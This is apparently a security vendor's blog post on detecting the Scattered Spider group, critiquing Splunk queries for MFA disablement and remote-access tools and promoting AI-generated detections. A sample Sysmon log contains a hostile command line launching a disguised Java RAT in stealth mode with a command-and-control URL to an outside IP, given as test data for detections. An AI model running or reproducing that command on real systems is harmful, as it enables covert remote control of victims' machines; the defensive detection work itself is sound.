Scattered Spider: Detection Engineering Dilemma

Scattered Spider is a rapidly emerging threat. As a native English-speaking group, it has quickly become a versatile adversary—ranging from data exfiltration to ransomware deployment. It is referenced in numerous analyses, including but not limited to those by CISA, ReliaQuest, AttackIQ, Unit 42, and Google Cloud.

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a
https://reliaquest.com/blog/scattered-spider-attack-analysis-account-compromise
https://www.attackiq.com/2025/05/29/emulating-scattered-spider
https://unit42.paloaltonetworks.com/muddled-libra-evolution-to-cloud
https://cloud.google.com/blog/topics/threat-intelligence/unc3944-targets-saas-applications
https://www.tidalcyber.com/blog/scattered-spider-evolving-resilient-group-proves-need-for-constant-defender-vigilance

Known Scattered Spider aliases are: 0ktapus, oktapus, UNC3944, Starfraud, muddled libra, scattered swine, scatter swine, octo tempest, roasted 0ktapus, storm-0971, storm-0875, dev-0971. The group is identified as G1015 in the MITRE ATT&CK framework, with a corresponding UUID in the MISP galaxy 3b238f3a-c67a-4a9e-b474-dc3897e00129.

Despite extensive documentation of campaigns, tools, tactics, and techniques, the collective data is often fragmented—making it difficult to form a clear understanding of the attack pattern. At Detecteam, we address this by automatically generating cohesive attack scenarios and detections logic using AI.

For instance, the generated Attack Flow (download available) clarifies that although “Ratty RAT” is mentioned, there is no evidence that it includes audio/video capture or keylogging, which are typical of that RAT

Vendor-provided detections tools often fall short—for example, many miss scripting-based attacks targeting MFA. Splunk Research offers useful insight, but there are pitfalls. Consider this Splunk query:

`o365_management_activity` Operation="Disable Strong Authentication." 
| rename UserId as user object as src_user 
| fillnull 
| stats count min(_time) as firstTime max(_time) as lastTime by signature dest user src vendor_account vendor_product src_user 
| `security_content_ctime(firstTime)` 
| `security_content_ctime(lastTime)` 
| `o365_disable_mfa_filter`

The issue? The operation string “Disable Strong Authentication.” with a trailing period doesn’t exist in Office 365 logs. In Azure Audit logs, the correct field value is "Disable Strong Authentication" without the period.

{"time": "2025-08-18T09:16:58.0000000Z", "resourceId": "/tenants/83010b62-eac2-49d5-9877-fd519cb7dbf4/providers/Microsoft.aadiam", "operationName": "Disable Strong Authentication", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "83010b62-eac2-49d5-9877-fd519cb7dbf4", "resultSignature": "None", "durationMs": 0, "correlationId": "86aabf8d-da73-43b8-b88a-992640228a2a", "Level": 4, "properties": {"id": "Directory_fde6a082-8c8f-4f0b-b0d2-8c85be96e923_DADCR_173270", "category": "UserManagement", "correlationId": "example.com", "result": "success", "resultReason": "", "activityDisplayName": "Disable Strong Authentication", "activityDateTime": "2025-08-18T09:16:58.0000000+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "2d36b253-76f0-4c9a-b511-2d2ace2e074a", "displayName": null, "userPrincipalName": "CBiales", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "e6514d18-ad0b-40a2-bc83-d52163936fa8", "displayName": null, "type": "User", "userPrincipalName": "mleftkowitcz", "modifiedProperties": [{"displayName": "StrongAuthenticationRequirement", "oldValue": "[{RelyingParty:*,State:1,RememberDevicesNotIssuedBefore:2025-08-18T09:16:58+00:00}]", "newValue": "[]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "StrongAuthenticationRequirement"}], "administrativeUnits": []}], "additionalDetails": []}}

A better Splunk search for detecting MFA disablement is:

index=* sourcetype="azure:monitor:aad" operationName="Disable Strong Authentication" 

This underscores a broader problem: untested detections logic can be as dangerous as no detections at all.
Giving a single detection to anyone without the equivalent test means giving a fast car to anyone without driving instructions: you hit the wall. This is why at Detecteam we generate data to create detections: our detections come from at least a specific event.

Understanding Splunk Analytic Story

Splunk provides an analytic story for Scattered Spider, which is available here: https://research.splunk.com/stories/scattered_spider/ Let’s dig deeper into some of their detections:

Detection: Detect Remote Access Software Usage File

Even with reputable sources like Splunk, detections rules often overlook non-standard tools like rattyRAT or executables such as screenconnect.exe or teamviewer.exe. Splunk’s remote-access software detections rely on static file name lists, missing many emerging variants.

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}"/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime="2025-08-18T09:18:58.000000000Z"/><EventRecordID>6553980</EventRecordID><Correlation/><Execution ProcessID="3216" ThreadID="3964"/><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>mydomain</Computer><Security UserID="S-1-5-18"/></System><EventData><Data Name="UtcTime">2025-08-18 09:18:58.000</Data><Data Name="ProcessGuid">{A23EAE89-BD56-5903-0000-0010E9D95E00}</Data><Data Name="ProcessId">21192</Data><Data Name="Image">cmd.exe</Data><Data Name="CommandLine">cmd /c start /b "" "C:\\Windows\\System32\\javaw.exe" -jar "C:\ProgramData\Intel\svchost-updater.jar" --mode stealth --c2 https://192.95.20.8/api</Data><Data Name="CurrentDirectory">C:\Users\mleftkowitcz\AppData\Local\Temp</Data><Data Name="User">mleftkowitcz</Data><Data Name="LogonGuid">{d11fe3df-7859-5eb2-8faf-6ccd76cf8fc1}</Data><Data Name="LogonId">0xc4319f11</Data><Data Name="TerminalSessionId">1</Data><Data Name="IntegrityLevel">Medium</Data><Data Name="Hashes">SHA256=BDC6C21C5D80F35BE3F532E227C591E0C80901A4BF6E52ADD268767ADA8B7A03</Data><Data Name="ParentProcessGuid">{A23EAE89-BD28-5903-0000-00102F345D00}</Data><Data Name="ParentProcessId">33376</Data><Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data><Data Name="ParentCommandLine">C:\Windows\System32\cmd.exe</Data></EventData></Event>

Detection: Any Powershell DownloadString

This detection leverages the macro process_powershell which is:

(Processes.process_name=pwsh.exe OR Processes.process_name=powershell.exe OR Processes.process_name=powershell_ise.exe OR Processes.original_file_name=pwsh.dll OR Processes.original_file_name=PowerShell.EXE OR Processes.original_file_name=powershell_ise.EXE)

Putting aside looking for a name instead of a behavior, while the list will triggers when encountering usual powershell executables, the list is larger. Splunk even provides one with their forwarder: splunk-powershell.exe which should be added to that list, as well as “pwsh-preview.exe“.

Writing good detections

Building effective detections is notoriously difficult—and even the most skilled teams can spend weeks getting them right. The good news? With Detecteam, you don’t need deep insider knowledge. By focusing on behaviors and continuously testing them, Detecteam’s AI delivers the precision your organization needs, automatically. What once took weeks of manual effort can now be done in minutes—turning detections into a powerful advantage for your security team. Don’t just keep up. Stay ahead—with Detecteam.

[contact-form-7 id=”f245613″ title=”Newsletter”]

T1003.001 – LSASS Memory T1005 – Data from Local Syste T1012 – Query Registry T1016 – System Network Configuration Discovery T1018 – Remote System Discovery T1021.001 – Remote Desktop Protocol T1021.002 – SMB/Windows Admin Shares T1021.004 – SSH T1027 – Obfuscated Files or Information T1033 – System Owner/User Discovery T1036.005 – Masquerading: Match Legitimate Name or Location T1041 – Exfiltration Over C2 Channel T1047 – Windows Management Instrumentation T1053.005 – Scheduled Task/Job: Scheduled Task T1055 – Process Injection T1057 – Process Discovery T1059 – Command Line Interface T1059.001 – Command and Scripting Interpreter: PowerShell T1059.003 – Windows Command Shell T1069 – Permission Groups Discovery T1069.001 – Local Groups T1069.002 – Domain Groups T1070.004 – File Deletion T1071 – Application Layer Protocol T1071.001 – Web Protocols T1078 – Valid Accounts T1082 – System Information Discovery T1083 – File and Directory Discovery T1087.002 – Domain Account T1105 – Ingress Tool Transfer T1110.001 – Brute Force: Password Guessing T1112 – Modify Registry T1140 – Deobfuscate/Decode Files or Information T1190 – Exploit Public-Facing Application T1204.002 – User Execution: Malicious File T1210 – Exploitation of Remote Services T1218.011 – System Binary Proxy Execution: Rundll32 T1219 – Remote Access Software T1482 – Domain Trust Discovery T1486 – Data Encrypted for Impact T1490 – Inhibit System Recovery T1518.001 – Security Software Discovery T1543.003 – Create or Modify System Process: Windows Service T1566.001 – Phishing: Spearphishing Attachment T1574.002 – DLL Side-Loading